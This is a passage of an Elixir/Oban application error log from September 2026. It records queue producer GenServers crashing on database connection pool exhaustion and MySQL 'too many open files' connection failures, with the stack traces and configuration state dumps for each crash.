State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:55:02.247238Z], limit: 10, uuid: "5d60cb96-e9b9-416b-819d-807e93e14949", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.247244Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250408>, refresh_timer: #Reference<0.2525715032.1068236804.242887>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:15.239000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 858ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:55:02.246322Z], limit: 3, uuid: "1f54ceff-66db-4ad8-bc89-3a5d1ee062bb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.246327Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100218>, refresh_timer: #Reference<0.2525715032.1099169794.250391>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:15.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 999ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:55:02.245704Z], limit: 50, uuid: "5ea2e8a6-98f9-4b10-9acd-d5df7e43d5cb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.245710Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250407>, refresh_timer: #Reference<0.2525715032.1099169794.250361>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:15.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 841ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:55:02.245944Z], limit: 5, uuid: "d810bddc-aed0-4fce-9c06-8b6f5e599436", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:02.245950Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250406>, refresh_timer: #Reference<0.2525715032.1099169794.250369>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:16.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:22.374000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:26.175000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:26.626000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 883ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:55:15.248678Z], limit: 5, uuid: "e4cae5ac-9cdc-4d53-869d-faeb782e1dac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.248685Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099169794.250741>, refresh_timer: #Reference<0.2525715032.1099169794.250733>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1046ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:55:15.242612Z], limit: 10, uuid: "422b8e14-74ef-4943-88d1-e89ff17c42df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.242619Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243072>, refresh_timer: #Reference<0.2525715032.1068236804.243049>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 881ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:55:15.244718Z], limit: 50, uuid: "7b47f14c-ede7-40c8-9bbc-bc7c0e5227b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.244724Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243074>, refresh_timer: #Reference<0.2525715032.1121189889.100290>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1095ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:55:15.242775Z], limit: 20, uuid: "69bffbad-6cbb-4007-9c7e-8b4ffa240a43", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.242780Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243071>, refresh_timer: #Reference<0.2525715032.1068236804.243056>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 869ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:55:15.243076Z], limit: 3, uuid: "5a8dcb56-ef0c-48ac-8f1c-f8c72d7ff626", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:55:15.243081Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.243073>, refresh_timer: #Reference<0.2525715032.1068236804.243070>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:55:27.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1087ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
